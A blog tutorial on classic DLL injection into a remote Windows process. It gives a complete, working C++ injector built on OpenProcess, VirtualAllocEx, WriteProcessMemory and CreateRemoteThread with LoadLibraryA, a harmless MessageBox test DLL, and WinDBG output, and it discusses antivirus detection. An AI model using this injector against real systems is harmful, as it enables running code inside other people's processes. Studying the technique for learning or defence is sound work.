Previously we looked at Process Injection to execute code in the context of a remote process. Whilst process injection is useful, it does require shellcode to run which can be laborious to write. However, it’s possible to write a DLL in a high level language such as C++, and inject that into a remote process.
To get started, use Visual Studio to create a C++ DLL project. We’re adding MessageBox code to DLL_THREAD_ATTACH so we know when it’s executed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: MessageBox(NULL, L"Hello from bordergate!" , L"Hello" ,MB_OK); case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE; } |
Injection Code
To inject into a remote process, the following steps need to occur;
- Get a handle to the process we want to inject into using OpenProcess.
- Allocate an executable section of memory in the remote process using VirtualAllocEx.
- Call WriteProcessMemory to write the name of our DLL to this area of memory.
- Use GetModuleHandle to get the address of the Kernel32 module, then GetProcAddress to get the address of LoadLibraryA.
- Call CreateRemoteThread with lpStartAddress set to LoadLibraryA, and lpParameter set to the pointer which stores the name of our DLL.
1 2 3 4 5 6 7 8 9 | HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); |
The following C++ code implements these API calls:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> int main( int argc, char * argv[]) { char sampleDLL[] = "C:\\SampleDLL.dll" ; HANDLE process_handle; //Get a handle to our remote process process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD ( atoi (argv[1]))); // Allocate memory in the remote process LPVOID buffer = VirtualAllocEx(process_handle, NULL, sizeof (sampleDLL), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); // Write our DLL to the remote process WriteProcessMemory(process_handle, buffer, sampleDLL, sizeof (sampleDLL), NULL); //Retrieve the memory address of LoadLibraryA function HMODULE k32_handle = GetModuleHandle( L"Kernel32" ); VOID * load_library = GetProcAddress(k32_handle, "LoadLibraryA" ); //Execute the DLL in a new remote thread HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)load_library, buffer, 0, NULL); CloseHandle(process_handle); return 0; } |
Running the code will spawn a message box in the context of our target process. Attaching WinDBG to the target process, we can set a breakpoint to show LoadLibrary being called and that our DLL name is being passed as an argument.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | 0:002> .sympath SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols Symbol search path is: SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols Expanded Symbol search path is: srv*c:\symbols*http://msdl.microsoft.com/download/symbols ************* Path validation summary ************** Response Time (ms) Location Deferred SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols 0:002> ld * Symbols already loaded for notepad 0:002> bp kernel32!LoadLibraryA Couldn't resolve error at 'kernel32!LoadLibraryA' 0:002> g Breakpoint 0 hit KERNELBASE!LoadLibraryA: 00007ffb`893fffa0 48895c2408 mov qword ptr [rsp+8],rbx ss:00000051`7a1df8e0=0000000000000000 0:001> da rcx 000001a7`4a680000 "C:\SampleDLL.dll" |
In Conclusion
The problem with this technique is the DLL loaded must reside on disk, and not be obfuscated. This means it will likely be caught by Anti-Virus. Reflected DLL Injection (RDI) is one solution to this particular problem, which I’ll cover in a later article.